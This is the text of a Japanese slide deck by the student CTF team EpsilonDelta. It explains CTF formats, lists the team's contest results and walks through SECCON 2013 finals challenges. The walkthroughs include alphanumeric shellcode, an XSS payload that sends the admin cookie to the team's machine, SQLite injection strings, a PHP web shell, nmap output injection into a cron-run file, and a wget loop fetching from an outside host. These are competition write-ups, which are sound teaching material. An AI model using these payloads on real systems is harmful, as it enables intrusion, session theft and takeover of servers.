SlideShare a Scribd company logo
1 of 233
Download to read offline
CTFはとんでもないものを
盗んでいきました。
私の時間です…
EpsilonDelta
CTFとは
CTFとは

Capture The Flagの略
直訳すると旗取り合戦
CTFとは
よくあるイメージ
CTFとは
よくあるイメージ
CTFとは
Capture The Flagの略
直訳すると旗取り合戦
ここでの旗は「情報」を意味する
CTFとは
セキュリティの知識を総動員して
情報を抜き取るゲーム
もちろん経験も必要
2種類のCTF
CTFは大きく2つの形式がある
Jeopardy 
Attack-Defense
Jeopardy

ジョパディ!と読む
アメリカのクイズ番組が由来
Jeopardy
Jeopardy
いろいろなジャンルの問題を解いていく
それぞれの問題が独立している
Jeopardy
いろいろなジャンルの問題を解いていく
それぞれの問題が独立している
オンラインの大会だと多い形式
Attack-Defense

直訳すると「攻防戦」
旗取り合戦のイメージに近い
Attack-Defense
FLAG
解答サーバー

チームA

FLAG
チームB

FLAG
チームC
Attack-Defense
FLAG
解答サーバー

チームA

脆弱性のあるサービスが
動いているサーバーが
与えられる
FLAG
チームB

FLAG
チームC
Attack-Defense
FLAG
解答サーバー

チームA

脆弱性を突いて
相手のFLAGを盗む

FLAG
チームB

FLAG
チームC
Attack-Defense
解答サーバー

チームA

盗みとったFLAGを
FLAG

解答サーバーに送ると
得点になる

FLAG
チームB

FLAG
チームC
Attack-Defense
自分のサーバーの脆弱性を修正して
相手の攻撃から守る
相手のサーバーの脆弱性を利用して
相手の旗を盗み取る
Attack-Defense
自分のサーバーのSLAも重要
守るためにサービスを落とすと減点
稼働率も得点に直結する
King of the Hill

Attack-Defenseの派生形式
問題サーバーを巡って攻防する
King of the Hill
FLAG

FLAG

問題サーバー

問題サーバー

FLAG
チームA

FLAG
問題サーバー

FLAG
チームB

解答サーバー
King of the Hill
FLAG

FLAG

問題サーバー

問題サーバー

FLAG
問題サーバー

問題サーバーの脆弱性を
使ってFLAGを盗み出す

FLAG
チームA

FLAG
チームB

解答サーバー
King of the Hill
FLAG
問題サーバー

問題サーバー

盗みとったFLAGを

FLAG
問題サーバー

解答サーバーに送ると得点
FLAG

FLAG
チームA

FLAG
チームB

解答サーバー
King of the Hill
FLAG
FLAG
問題サーバー

問題サーバー

FLAG
問題サーバー

その脆弱性を使って
自チームのFLAGを書き込むと
さらに得点に
FLAG
チームA

チームB

解答サーバー
King of the Hill
FLAG
FLAG
FLAG
相手がFLAGを書き込むのを
問題サーバー

問題サーバー

問題サーバー

阻止するのも重要

FLAG

チームA

チームB

解答サーバー
King of the Hill
問題サーバーを攻撃してFLAGを盗む
その脆弱性を利用して自チームの
FLAGを書き込む
長時間書き込み続けるほど高得点に
問題ジャンル

CTFにはいくつかの問題ジャンルがある
大会によって少し異なる場合も
Reversing
与えられたバイナリを解析して
隠されたFLAGを見つけ出す
Windows/Linuxのバイナリ
Pwning
与えられたバイナリを解析して
サーバーの脆弱性を見つけ出す
Exploitコードを作成して侵入し
FLAGを盗み取る
Web
ウェブサイトを解析して
脆弱性を見つけ出し、FLAGを盗み出す
SQL Injection, XSSなど
PHPやJavascriptの言語仕様の
細かな知識が必要になるものも
Cryptography
暗号を解き、FLAGを見つけ出す
パズルのようなものや古典的暗号から
RSAやハッシュ関数攻撃するものも
数論の知識や柔軟な思考力が問われる
Forensics
ディスクのイメージなどを解析して
FLAGを探し出す
犯罪証拠の解析に使う知識が問われる
Steganography
音声や動画ファイルに隠された
FLAGを探し出す
画像の色情報をいじると見えるものや
データとして隠されているものも
Trivia
セキュリティに関するクイズ
ハッカー映画なども題材にされる
ネットストーキングしてFLAGを探す
Reconnaissanceというものも
EpsilonDeltaについて
EpsilonDeltaとは

日本のCTFチーム
学生で構成されている
EpsilonDeltaとは
CTFTimeでは日本1位のチーム
世界ランク32位
1年間の様々な大会の成績を集めて
世界ランクを計算するサイトがある
EpsilonDeltaとは
2013年は30大会ほど参加
1ヶ月に2回は参加している計算
1回の大会で24~48時間使うので...
大会参加の様子

普段の大会参加はSkypeで
重要な大会の時は集まって寝泊まり
大会参加の様子
集まるときはひどい生活をしている
48時間の大会だと寝袋を持参
エナジードリンクを箱買いしておく
ピザを取って問題を解きながら食べる
大会参加の様子
集まるときはひどい生活をしている
プロジェクターでアニメずっと投影
熱中すると気がつけば24時間なにも
食べていなかったことも
スポンサー
LAC様にスポンサー頂いています
IDA Proという解析ソフトをもらった
@ITにも掲載
スポンサー
これまでの大会参加
CSAW CTF Qualification Round 2012 
2012年9月
初めてのオンラインCTF参加
636チーム中174位
これまでの大会参加
DEFCON CTF Qualifier 2013 
世界最大のCTF DEFCONの予選
初めて集まって宿泊した大会
414チーム中79位
これまでの大会参加
CSAW CTF Qualification Round 2013 
1383チーム中39位
高校生部門では世界1位
アメリカの大学生なら本戦に進めた
これまでの大会参加
No cON Name CTF 2013 
予選13位
上位12チームが本戦参加権獲得
辞退チームが居て参加できることに
これまでの大会参加
No cON Name CTF 2013 
2013年11月@バルセロナ
初めての海外大会
カンパで渡航費を集めて参加
これまでの大会参加
No cON Name CTF 2013 
King of the Hill形式
結果は6位
攻略したサーバーの保持ができず
これまでの大会参加
Codegate CTF Preliminary 2014 
世界で1番賞金の高い大会
283チーム中39位
U-20のJuniorの方で予選通過
これまでの国内大会

SECCON 2012 
学生対象の大会
これまでの国内大会
SECCON 2012 
予選: 関西大会優勝
本戦: 8位
これまでの国内大会
SECCON 2013 
社会人も対象に
全国9予選 + オンライン予選
これまでの国内大会
SECCON 2013 横浜大会
個人戦
4位 / 10位
これまでの国内大会
SECCON 2013 四国大会
優勝
全国大会参加権獲得
これまでの国内大会
SECCON 2013 本戦
3/1-2 東京電機大学で開催
King of the Hill形式
これまでの国内大会
SECCON 2013 本戦
結果は2位
サーバーを保持するポイントが
かなり高かった
これまでの国内大会
これまでの国内大会
これまでの国内大会
解いた問題数は1位のチームより多い
保持した時のポイントが高いサーバーを
2日目に全く占有できなかった
問題のWriteup
SECCON 2013 Finals
2tenkaku Writeup
話すこと
話すこと
話すこと
話すこと

●

先日のSECCON CTFのレポート
話すこと

●

先日のSECCON CTFのレポート
–

実際のCTFの問題のWriteupをします。
●

解けたところまでですが...
話すこと

●

先日のSECCON CTFのレポート
–

実際のCTFの問題のWriteupをします。

–

解けたところまでですが...
CTFの楽しむという側面を知っていただければ嬉しい
●
Writeupとは?
Writeupとは?
●

競技終了後に他チームに公開する解法のこと
–

Write upは詳述する、記事にするという意味
Writeupとは?
●

競技終了後に他チームに公開する解法のこと
–

●

Write upは詳述する、記事にするという意味

必要性
Writeupとは?
●

競技終了後に他チームに公開する解法のこと
–

●

Write upは詳述する、記事にするという意味

必要性
–

情報の共有
●
●

解けなかったチームの参考になる
同じ問題でも解き方が違ったりして面白い
Writeupとは?
●

競技終了後に他チームに公開する解法のこと
–

●

Write upは詳述する、記事にするという意味

必要性
–

情報の共有

–

解けなかったチームの参考になる
● 同じ問題でも解き方が違ったりして面白い
自己満足
●
Writeupとは?
●

競技終了後に他チームに公開する解法のこと
–

●

Write upは詳述する、記事にするという意味

必要性
–

情報の共有

–

解けなかったチームの参考になる
● 同じ問題でも解き方が違ったりして面白い
自己満足
●

●

一種の備忘録的使い方
競技構成
競技構成
●

競技時間は2日間
–

1日目: 13:00 ~ 20:00

–

2日目: 09:00 ~ 14:00
競技構成
●

競技時間は2日間
–
–

●

1日目: 13:00 ~ 20:00
2日目: 09:00 ~ 14:00

King on the hill形式(前述)
競技構成
●

競技時間は2日間
–

1日目: 13:00 ~ 20:00

–

2日目: 09:00 ~ 14:00

●

King on the hill形式(前述)

●

6つのサーバー
–

独立した6つのサーバーに別々の問題が存在

–

その内3つは1日目の終了30分ほど前に公開
担当した問題
担当した問題
●

2tenkaku
担当した問題
●

2tenkaku
–

「通天閣」と読むらしい
●

センス....
担当した問題
●

2tenkaku
–

「通天閣」と読むらしい
●

●

センス....

Babel
担当した問題
●

2tenkaku
–

「通天閣」と読むらしい
●

●

センス....

Babel
–

後に公開された3つの内の1つ

–

最後の方に着手したせいで妨害がつらかった...
2tenkaku
問題概要
問題概要

●

全4ステージ
–

そのステージのFLAGを回答すると次のステージへ

–

FLAGはkeyword.txtに書かれている
問題概要

●

全4ステージ
–
–

●

そのステージのFLAGを回答すると次のステージへ
FLAGはkeyword.txtに書かれている

実際に動いているプログラムの情報が渡される
–

ソースコードと実行ファイル、設定が読める
ソースコード

実際に見てみる
要点
要点

●

入力した文字列を機械語として実行する
–

●

機械語とは?(後述)

入力はfilter関数によってチェックされる
–

条件を満たさないコードは実行できない
機械語
機械語
●

実際にマシンのCPUが実行する命令群のこと
–

見た目はただのバイト列でしか無い

–

人間なら噛み砕いたアセンブラを読み書きする
機械語
●

実際にマシンのCPUが実行する命令群のこと
–
–

●

見た目はただのバイト列でしか無い
人間なら噛み砕いたアセンブラを読み書きする

実際の攻撃でも“攻撃用”の命令群を作って利用する
機械語
●

実際にマシンのCPUが実行する命令群のこと
–
–

●

見た目はただのバイト列でしか無い
人間なら噛み砕いたアセンブラを読み書きする

実際の攻撃でも“攻撃用”の命令群を作って利用する
–

一般にはshellの操作を奪取する命令群
機械語
●

実際にマシンのCPUが実行する命令群のこと
–
–

●

見た目はただのバイト列でしか無い
人間なら噛み砕いたアセンブラを読み書きする

実際の攻撃でも“攻撃用”の命令群を作って利用する
–

一般にはshellの操作を奪取する命令群

–

なのでこれを「shellcode」と呼ぶ
機械語
●

実際にマシンのCPUが実行する命令群のこと
–
–

●

見た目はただのバイト列でしか無い
人間なら噛み砕いたアセンブラを読み書きする

実際の攻撃でも“攻撃用”の命令群を作って利用する
–

一般にはshellの操作を奪取する命令群

–

なのでこれを「shellcode」と呼ぶ

–

2tenkakuは条件を満たすshellcodeを作る問題
課題
課題

●

fork出来ないこと
–

setrlimitによって設定されている

–

shellは他のコマンド起動時にforkするので使えない

–

直接keyword.txtを出力するようなshellcodeが必要
課題

●

fork出来ないこと
–
–

shellは他のコマンド起動時にforkするので使えない

–

●

setrlimitによって設定されている
直接keyword.txtを出力するようなshellcodeが必要

filter関数の条件を満たすこと
–

ステージごとで条件が違う
stage0

●

filterによる制限なし
–

実行さえ出来ればどんなshellcodeを送ってもいい

–

execveでcatを呼び出すshellcodeを書くのが早そう
●

execve("cat", {"cat", "keyword.txt", NULL}, NULL)
stage0

実際に解いてみる
stage1
stage1

●

filterによる制限あり
–

isalnum(shellcode[i]) == trueでなければならない

–

shellcode中でA-Za-z0-9しか使ってはいけない
Alpha numericのみで???
Alpha numericのみで???

●

そんなの出来るのか
Alpha numericのみで???

●

そんなの出来るのか
–

出来る(かなり面倒くさいけど)
Alpha numericのみで???

●

そんなの出来るのか
–

出来る(かなり面倒くさいけど)

–

“普通は”ツールを使う
Alpha numericのみで???

●

そんなの出来るのか
–
–

●

出来る(かなり面倒くさいけど)
“普通は”ツールを使う

ツール?
Alpha numericのみで???

●

そんなの出来るのか
–
–

●

出来る(かなり面倒くさいけど)
“普通は”ツールを使う

ツール?
–

Metasploitというペネトレーションテストツール

–

サブセットにshellcode用の様々なエンコーダが付属

–

msfencode -e x86/alpha_mixed BufferRegister=EAX
しかし...
しかし...

!!!競技中、うまく動かなかった!!!
痛恨のミス

●

Metasploitをまともに使える人間が居なかった
痛恨のミス

●

Metasploitをまともに使える人間が居なかった
–

一応存在は知ってたけども...

–

オプションの設定ミス

–

ついでに、バグもあるらしい

–

完全に準備不足....
解けない....
いや、待て
Metasploitに出来て俺に出来ないわけがない
よし、自分でencodeを書こう
手でshellcodeを書く
手でshellcodeを書く

●

結局1日目終了してから3時間ぐらいかかった
手でshellcodeを書く

●

結局1日目終了してから3時間ぐらいかかった
–

確実に敗因の一つ

–

Metasploitを使えないから仕方がなかった
手でshellcodeを書く

●

結局1日目終了してから3時間ぐらいかかった
–
–

●

確実に敗因の一つ
Metasploitを使えないから仕方がなかった

使える命令が非常に限られている
手でshellcodeを書く

●

結局1日目終了してから3時間ぐらいかかった
–
–

●

確実に敗因の一つ
Metasploitを使えないから仕方がなかった

使える命令が非常に限られている
–

初めに使える命令のlistを取得

–

後はその中から頑張って命令群を作るパズル
出来上がったコード
出来上がったコード
Ph0E00X5wz00PPPPPPPPaTZ12h0000X5000
0PZJRRRRRRRRah0D00X50x00PTX10ZX00h0
000X50000PZJPRDDYLLZPRQQQQQQQQaZX
5sO005A000PTX10RX5AAAA5zqqqPRX5AAAA
5qqqtPRX500AA5bhtqPRX500005acdiPRX50
0005GdibPRX501005XZUIPRX5500A5ZBToP
RX500005HD0XPRX500005dkXDPRX5A0045
nRYZPRX500005SQDXPRX5000A5bbXnPRX5
00005jbbbPRX5AAA15qqqaPRX5A0AA5qhtqP
RX50AAA5XqqqPT
仕組み
仕組み
●

使えた命令 (0xYYはisalnum(0xYY) == true)
–
–
–
–
–
–
–
–

push 0xYYYYYYYY
push (register)
pop eax, ecx, edx(他のレジスタはダメ)
xor eax, 0xYYYYYYYY(他のレジスタはダメ)
xor [register], dh
xor [register], esi
inc (register)
dec(register)
仕組み
●

eax, ecx, edxにはある程度任意の値を入れられる
仕組み
●

eax, ecx, edxにはある程度任意の値を入れられる
–

push 0xYYYYYYYY; pop eax, ecx, edxを使う

–

基本的にはこの3つだけでどうにかするしかない
仕組み
●

eax, ecx, edxにはある程度任意の値を入れられる
–
–

●

push 0xYYYYYYYY; pop eax, ecx, edxを使う
基本的にはこの3つだけでどうにかするしかない

alnumとならない値0xZZを使うには
仕組み
●

eax, ecx, edxにはある程度任意の値を入れられる
–
–

●

push 0xYYYYYYYY; pop eax, ecx, edxを使う
基本的にはこの3つだけでどうにかするしかない

alnumとならない値0xZZを使うには
–

xor eax, 0xYYYYYYYYを2回行う
●

0 ~ 127はこれによって作ることが出来る
仕組み
●

eax, ecx, edxにはある程度任意の値を入れられる
–
–

●

push 0xYYYYYYYY; pop eax, ecx, edxを使う
基本的にはこの3つだけでどうにかするしかない

alnumとならない値0xZZを使うには
–

xor eax, 0xYYYYYYYYを2回行う
●

–

0 ~ 127はこれによって作ることが出来る

xor [register], dhを使う(dec edxで0xffffffffを作る)
●
●

push eax; push esp; pop eax; xor [eax], dh; pop eax
0 ~ 127と0xffのxorは128 ~ 255となる
仕組み
●

方針
仕組み
●

方針
–

shellcodeをメモリ上に展開するshellcodeを書く
仕組み
●

方針
–

shellcodeをメモリ上に展開するshellcodeを書く

–

xor [eax], esiでメモリ上に任意の値を与えることは可能
仕組み
●

方針
–

shellcodeをメモリ上に展開するshellcodeを書く

–

xor [eax], esiでメモリ上に任意の値を与えることは可能

–

しかし面倒くさい
●

eaxのaddrのインクリメントとesiの値の更新が必要
仕組み
●

方針
–

shellcodeをメモリ上に展開するshellcodeを書く

–

xor [eax], esiでメモリ上に任意の値を与えることは可能

–

しかし面倒くさい
●

–

eaxのaddrのインクリメントとesiの値の更新が必要

他の方法はないか?
仕組み

●

push系の命令がかなり使えるから活用したい
仕組み

●

push系の命令がかなり使えるから活用したい
–

スタック上に実行を遷移出来れば嬉しい?
仕組み

●

push系の命令がかなり使えるから活用したい
–

スタック上に実行を遷移出来れば嬉しい?

–

ret命令(0xC3)だけxor [eax], esiで書き込めばいけそう
仕組み

●

手順
–
–
–
–
–

shellcodeを4byteずつ生成する
スタック上にpushしていく
スタックのアドレスをpushする
shellcodeの末尾にretを配置する
retが実行されてスタック上に実行が移る
stage1

実際に解いてみる
まとめ
まとめ

●

準備不足は命取り
–

準備次第で解く時間は1時間にも10時間にもなる

–

使えるものは全部使う、使えるようになる
まとめ

●

準備不足は命取り
–
–

●

準備次第で解く時間は1時間にも10時間にもなる
使えるものは全部使う、使えるようになる

問題の取捨選択
–

解法が見えていない問題をいつまで考え続けるか?

–

ムダに時間を使うと他の問題にも支障をきたす

–

King on the hillはスピード勝負
SECCON 2013
Finals
Korin writeup
@tyage
今回紹介する問題
● Korin
○ http://korin.tower/
○ 読みは「かりんとう」らしい・・・?
Korin - 第1問
● http://korin.tower/
● 管理者とのコンタクトフォームがある
Korin - 第1問
● さらに、管理者専用のページが用意されている
● アクセスすると「You are not admin!!」と怒られる...
Korin - 第1問
● さらに、管理者専用のページが用意されている
● アクセスすると「You are not admin!!」と怒られる...
● なんとかして管理者にならなければ・・・
Korin - 第1問
● 送信するメールを工夫してみる
Korin - 第1問
● 送信するメールを工夫してみる
● 管理者がメールを見る際にJavaScriptが動けば管理者の
Cookieを取得できると推測
○ いわゆるXSS
Korin - 第1問
● 送信元のメールアドレスを以下のように変えてみる
● “><script>location.href=”http://192.168.5.8/”+document.
cookie</script>@gmail.com
Korin - 第1問
● 送信元のメールアドレスを以下のように変えてみる
● “><script>location.href=”http://192.168.5.8/”+document.
cookie</script>@gmail.com
● 「http://192.168.5.8/[ユーザーのcookie]」にリダイレクトす
るJavaScript
○ 自分のPCに192.168.5.8のアドレスが割り振られている
ため、自分のPCにアクセスが来る
Korin - 第1問
● 192.168.5.8で管理者アクセスを監視
Korin - 第1問
● 192.168.5.8で管理者アクセスを監視
● nc -l -p 80
Korin - 第1問
● 192.168.5.8で管理者アクセスを監視
● nc -l -p 80
○ GET /CGISESSID=XXXXXXX... HTTP/1.1
○ 管理者のCookieが取得できた!
Korin - 第1問
● 192.168.5.8で管理者アクセスを監視
● nc -l -p 80
○ GET /CGISESSID=XXXXXXX... HTTP/1.1
○ 管理者のCookieが取得できた!
● 取得したCookieを利用して、管理者専用ページにアクセス
Korin - 第1問
● You are admin level2!
● 第1問突破!
Korin - 第2問
● 管理者に送信された
Messageが読めるように
なる
Korin - 第2問
● メッセージのURLは
● http://korin.tower/?action=view&id=111111111111111
● のようになっている
Korin - 第2問
● 勘でidを「’ or ‘1」にしてみる
Korin - 第2問
● 勘でidを「’ or ‘1」にしてみる
○ メッセージが表示される
Korin - 第2問
● 勘でidを「’ or ‘1」にしてみる
○ メッセージが表示される
○ SQL Injectionだとわかりますね
Korin - 第2問
● ‘ or union select 1,1,1 -- とすると欲しいデータが表示でき
る!
Korin - 第2問
● DBMSは何?
Korin - 第2問
● DBMSは何?
● MySQL?
○ ‘ or union select @@version,1,1 -○ →Error
Korin - 第2問
● DBMSは何?
● MySQL?
○ ‘ or union select @@version,1,1 -○ →Error
● Postgres SQL?
○ ‘ or union select version(),1,1 -○ →Error
Korin - 第2問
● DBMSは何?
● MySQL?
○ ‘ or union select @@version,1,1 -○ →Error
● Postgres SQL?
○ ‘ or union select version(),1,1 -○ →Error
● SQLite?
○ ‘ or union select sqlite_version(),1,1 -○ →ビンゴ!
Korin - 第2問
● SQLiteではsqlite_masterテーブルでテーブル作成時の
SQLが参照できる
○ ‘ or union all select group_concat(sql),1,1 from
sqlite_master --
Korin - 第2問
● SQLiteではsqlite_masterテーブルでテーブル作成時の
SQLが参照できる
○ ‘ or union all select group_concat(sql),1,1 from
sqlite_master -CREATE TABLE contact (id, name, mail, honbun),
CREATE TABLE nextLVpassword (str),
CREATE TABLE zdummy (dummy)
Korin - 第2問
● ‘ or union all select str,1,1 from nextLVpassword --
Korin - 第2問
● ‘ or union all select str,1,1 from nextLVpassword -○ パスワードが手に入る!
○ パスワード入力欄に入力して次の問題へ
kinoko!!
Korin - 第3問
● 2問目をクリアするとファイルアップローダが現れる
Korin - 第3問
● 試しにtest.phpをアップロードしてみる
Korin - 第3問
● 試しにtest.phpをアップロードしてみる
○ 「filename does not contain .jpg」
○ jpgファイルしかアップロードできない?
Korin - 第3問
● 試しにtest.phpをアップロードしてみる
○ 「filename does not contain .jpg」
○ jpgファイルしかアップロードできない?
○ ファイル名にjpgが含まれていればいい
Korin - 第3問
● 試しにtest.phpをアップロードしてみる
○ 「filename does not contain .jpg」
○ jpgファイルしかアップロードできない?
○ ファイル名にjpgが含まれていればいい
○ test.jpg.phpというファイル名でアップロード
Korin - 第3問
● 試しにtest.phpをアップロードしてみる
○ 「filename does not contain .jpg」
○ jpgファイルしかアップロードできない?
○ ファイル名にjpgが含まれていればいい
○ test.jpg.phpというファイル名でアップロード
○ http://korin.tower/uploaded/test.jpg.php で実行可能
Korin - 第3問
<?php
system($_GET[‘cmd’]);
をアップロードして実行することで、問題サーバー上でコマンド
を実行することができるようになる
Korin - 第3問
● サーバーに侵入後、調べていくと/home/stage4 以下に
「MyPasswordIs”stage4PassWD”」が見つかる
● これで3問目を突破!
Korin - 第4問
● 先ほど作ったphpファイルを通じて/etc/passwdを見ると、
stage4ユーザーがlogin可能であることがわかる
Korin - 第4問
● 先ほど作ったphpファイルを通じて/etc/passwdを見ると、
stage4ユーザーがlogin可能であることがわかる
● stage4:stage4PassWDでsshログインしてみる
Korin - 第4問
● 先ほど作ったphpファイルを通じて/etc/passwdを見ると、
stage4ユーザーがlogin可能であることがわかる
● stage4:stage4PassWDでsshログインしてみる
○ 入れた!
Korin - 第4問
● /homeディレクトリ以下にはstage3~6のユーザーディレクト
リが存在している
Korin - 第4問
● /homeディレクトリ以下にはstage3~6のユーザーディレクト
リが存在している
● stage4でログインしているから次はstage5?
Korin - 第4問
● /homeディレクトリ以下にはstage3~6のユーザーディレクト
リが存在している
● stage4でログインしているから次はstage5?
● ls -al /stage5
Korin - 第4問
● /homeディレクトリ以下にはstage3~6のユーザーディレクト
リが存在している
● stage4でログインしているから次はstage5?
● ls -al /stage5
○ -r-------- stage5 root FLAG
○ -r-x--x--x stage5 root nmap
Korin - 第4問
● /homeディレクトリ以下にはstage3~6のユーザーディレクト
リが存在している
● stage4でログインしているから次はstage5?
● ls -al /stage5
○ -r-------- stage5 root FLAG
○ -r-x--x--x stage5 root nmap
○ nmapを実行してFLAGを読み取る?
Korin - 第4問
● sudo -u stage5 nmap -vvvvv -iL /home/stage5/FLAG
Korin - 第4問
● sudo -u stage5 nmap -vvvvv -iL /home/stage5/FLAG
○ FLAGをnmapする対象のアドレスが書かれたリストとし
て読み込ませる
Korin - 第4問
● sudo -u stage5 nmap -vvvvv -iL /home/stage5/FLAG
○ FLAGをnmapする対象のアドレスが書かれたリストとし
て読み込ませる
○ nmapはFLAGの内容をアドレスと認識してアクセスする
が、失敗してエラーが吐かれる
Korin - 第4問
● sudo -u stage5 nmap -vvvvv -iL /home/stage5/FLAG
○ FLAGをnmapする対象のアドレスが書かれたリストとし
て読み込ませる
○ nmapはFLAGの内容をアドレスと認識してアクセスする
が、失敗してエラーが吐かれる
○ エラーの内容にFLAGの内容が出力されている!
Korin - 第4問
● sudo -u stage5 nmap -vvvvv -iL /home/stage5/FLAG
○ FLAGをnmapする対象のアドレスが書かれたリストとし
て読み込ませる
○ nmapはFLAGの内容をアドレスと認識してアクセスする
が、失敗してエラーが吐かれる
○ エラーの内容にFLAGの内容が出力されている!
○ 第4問目クリア!
Korin - FLAG
● http://korin.tower/~stage6/ にチームのFLAGを定期的に
書き込みつづけることで、点数が得られる
Korin - FLAG
● http://korin.tower/~stage6/ にチームのFLAGを定期的に
書き込みつづけることで、点数が得られる
● /home/stage6/public_html/index.html というファイルが存
在していることから、このファイルに書き込めばよいとわかる
Korin - FLAG
● http://korin.tower/~stage6/ にチームのFLAGを定期的に
書き込みつづけることで、点数が得られる
● /home/stage6/public_html/index.html というファイルが存
在していることから、このファイルに書き込めばよいとわかる
○ -rw-r--r-- stage6 apache index.html
○ stage6ユーザーでないと書き込めない
Korin - FLAG
● 色々探した結果、/etc/crontab に怪しい記述が...
○ * * * * * stage6 /var/tmp/5to6
■ 1分ごとにstage6の権限で/var/tmp/5to6を実行して
いる
Korin - FLAG
● 色々探した結果、/etc/crontab に怪しい記述が...
○ * * * * * stage6 /var/tmp/5to6
■ 1分ごとにstage6の権限で/var/tmp/5to6を実行して
いる
● /var/5to6 はstage6ユーザーで実行されているのでは?
○ -rw-r-xr-- stage5 apache 5to6
■ stage5ユーザーでなら書き込める!!
Korin - FLAG
● 再びnmapを利用して書き込んでみる
○ sudo -u stage5 nmap -oN /var/tmp/5to6 -p 1 test
Korin - FLAG
● 再びnmapを利用して書き込んでみる
○ sudo -u stage5 nmap -oN /var/tmp/5to6 -p 1 test
● /var/tmp/5to6
# Nmap 6.25 scan initiated Sat Mar 1 17:54:51 2014 as: nmap -oN hoge -p 1 test
# Nmap done at Sat Mar 1 17:54:57 2014 -- 1 IP address (0 hosts up) scanned in 6.08 seconds
Korin - FLAG
● 再びnmapを利用して書き込んでみる
○ sudo -u stage5 nmap -oN /var/tmp/5to6 -p 1 test
● /var/tmp/5to6
# Nmap 6.25 scan initiated Sat Mar 1 17:54:51 2014 as: nmap -oN hoge -p 1 test
# Nmap done at Sat Mar 1 17:54:57 2014 -- 1 IP address (0 hosts up) scanned in 6.08 seconds

test に改行を入れればシェルコマンドが書き込めそう?
Korin - FLAG
● 実行させたいコマンドを書いてみる
○ sudo -u stage5 nmap -oN /var/tmp/5to6 -p 1 “
echo ‘hoge’ >> /home/stage6/public_html/index.html”
Korin - FLAG
● 実行させたいコマンドを書いてみる
○ sudo -u stage5 nmap -oN /var/tmp/5to6 -p 1 “
echo ‘hoge’ >> /home/stage6/public_html/index.html”
# Nmap 6.25 scan initiated Sat Mar 1 17:54:51 2014 as: nmap -oN hoge -p 1
echo ’hoge’ >> /home/stage6/public_html/index.html
# Nmap done at Sat Mar 1 17:54:57 2014 -- 1 IP address (0 hosts up) scanned in
6.08 seconds
Korin - FLAG
●

1分後、cronによって5to6が実行される
○ /home/stage6/public_html/index.html に書き込まれた!
○ チームのFLAGを書き込み続ければ得点が加算される
Korin - FLAG
●

1分後、cronによって5to6が実行される
○ /home/stage6/public_html/index.html に書き込まれた!
○ チームのFLAGを書き込み続ければ得点が加算される

しかしその10分後、他のチームに動きが・・・
Korin - FLAG
● 自分達の他に /var/tmp/5to6 にコマンドを書き込むユーザー
が・・・
○ どうやら他のチームに追いつかれたらしい
Korin - FLAG
● 自分達の他に /var/tmp/5to6 にコマンドを書き込むユーザー
が・・・
○ どうやら他のチームに追いつかれたらしい
● せっかく /var/tmp/5to6 にコマンドを書き込んでも、他のチーム
に上書きされてしまい、FLAGを書き込めない
Korin - FLAG
● 自分達の他に /var/tmp/5to6 にコマンドを書き込むユーザー
が・・・
○ どうやら他のチームに追いつかれたらしい
● せっかく /var/tmp/5to6 にコマンドを書き込んでも、他のチーム
に上書きされてしまい、FLAGを書き込めない
● しかも複数のチームがFLAGを書き込んでいる場合、その得点
は山分けとなる
○ 最大20点なので、2チームが書き込むと各チーム10点、3
チームが書き込むと7点・・・
Korin - FLAG
● 課題1:
○ 他のチームにFLAGを書き込ませてはいけない
● 課題2:
○ 自チームのFLAGを書き込み続けないといけない
Korin - FLAG
● 課題1:
○ 他のチームにFLAGを書き込ませてはいけない
● 課題2:
○ 自チームのFLAGを書き込み続けないといけない
Korin - FLAG
● なんとしても他のチームにFLAGを書き込ませてはいけない!
Korin - FLAG
● なんとしても他のチームにFLAGを書き込ませてはいけない!
● どうする?
Korin - FLAG
● なんとしても他のチームにFLAGを書き込ませてはいけない!
● どうする?
○ /var/tmp/5to6 に書き込み続ける
Korin - FLAG
● なんとしても他のチームにFLAGを書き込ませてはいけない!
● どうする?
○ /var/tmp/5to6 に書き込み続ける
■ 他のチームも同様のことをしてくる
■ 同時に書き込むとロックして相討ち
Korin - FLAG
● なんとしても他のチームにFLAGを書き込ませてはいけない!
● どうする?
○ /var/tmp/5to6 に書き込み続ける
■ 他のチームも同様のことをしてくる
■ 同時に書き込むとロックして相討ち
○ 他のチームのssh接続をkillする
Korin - FLAG
● なんとしても他のチームにFLAGを書き込ませてはいけない!
● どうする?
○ /var/tmp/5to6 に書き込み続ける
■ 他のチームも同様のことをしてくる
■ 同時に書き込むとロックして相討ち
○ 他のチームのssh接続をkillする
■ これだ!
Korin - FLAG
● なんとしても他のチームにFLAGを書き込ませてはいけない!
● どうする?
○ /var/tmp/5to6 に書き込み続ける
■ 他のチームも同様のことをしてくる
■ 同時に書き込むとロックして相討ち
○ 他のチームのssh接続をkillする
■ これだ!
Korin - FLAG
● 課題1:
○ 他のチームにFLAGを書き込ませてはいけない
● 課題2:
○ 自チームのFLAGを書き込み続けないといけない
Korin - FLAG
● 自分達のFLAGを書き込み続けないといけない
Korin - FLAG
● 自分達のFLAGを書き込み続けないといけない
○ 5分に1回変動するFLAGを書き込まないといけないので自
動化したい
Korin - FLAG
● 自分達のFLAGを書き込み続けないといけない
○ 5分に1回変動するFLAGを書き込まないといけないので自
動化したい
○ 他のチームからssh接続切断されるようになると、
/var/tmp/5to6 に書き込めなくなる
■ 実際に切断された
Korin - FLAG
● 自分達のFLAGを書き込み続けないといけない
○ 5分に1回変動するFLAGを書き込まないといけないので自
動化したい
○ 他のチームからssh接続切断されるようになると、
/var/tmp/5to6 に書き込めなくなる
■ 実際に切断された
● whileループで動かせば?
Korin - FLAG
● 60秒に1回、自チームのアドレスにhttpアクセスして、FLAGを
書くようにした
● 以下のコードをcronから動かす
while [ : ]; do
wget -q -O - "http://192.168.5.8/" >> /home/stage6/public_html/index.html;
sleep 60;
done
Korin - FLAG
こちらはhttpアクセスされた際に、現在の自チームのFLAGを
表示するようにしておけばよい
● 競技サーバーからhttpアクセスして、FLAGを書き込んでくれる
ので、こちらからsshする必要がなくなる
●
Korin - FLAG
● 課題1:
○ 他のチームにFLAGを書き込ませてはいけない
● 課題2:
○ 自チームのFLAGを書き込み続けないといけない
どちらもクリアすることで、FLAGポイントを独占することができ
た!
Korin - まとめ
● 問題1~3は典型的な脆弱性を利用したものでした
○ XSS, SQL Injection, File upload
Korin - まとめ
● 問題1~3は典型的な脆弱性を利用したもの
○ XSS, SQL Injection, File upload
● FLAGは、時間が限られている中でどのようにして他のチー
ムを妨害するかということが重要だった
○ あと自動化も大事!
最後に
CTFのメリット
一見、実際のセキュリティ運用とは
かけ離れてそう
役立つ面もかなりある
CTFのメリット
それぞれの脆弱性がどれほどの脅威に
なるのか、身をもって実感
普段のコーディングでも気をつける
CTFのメリット
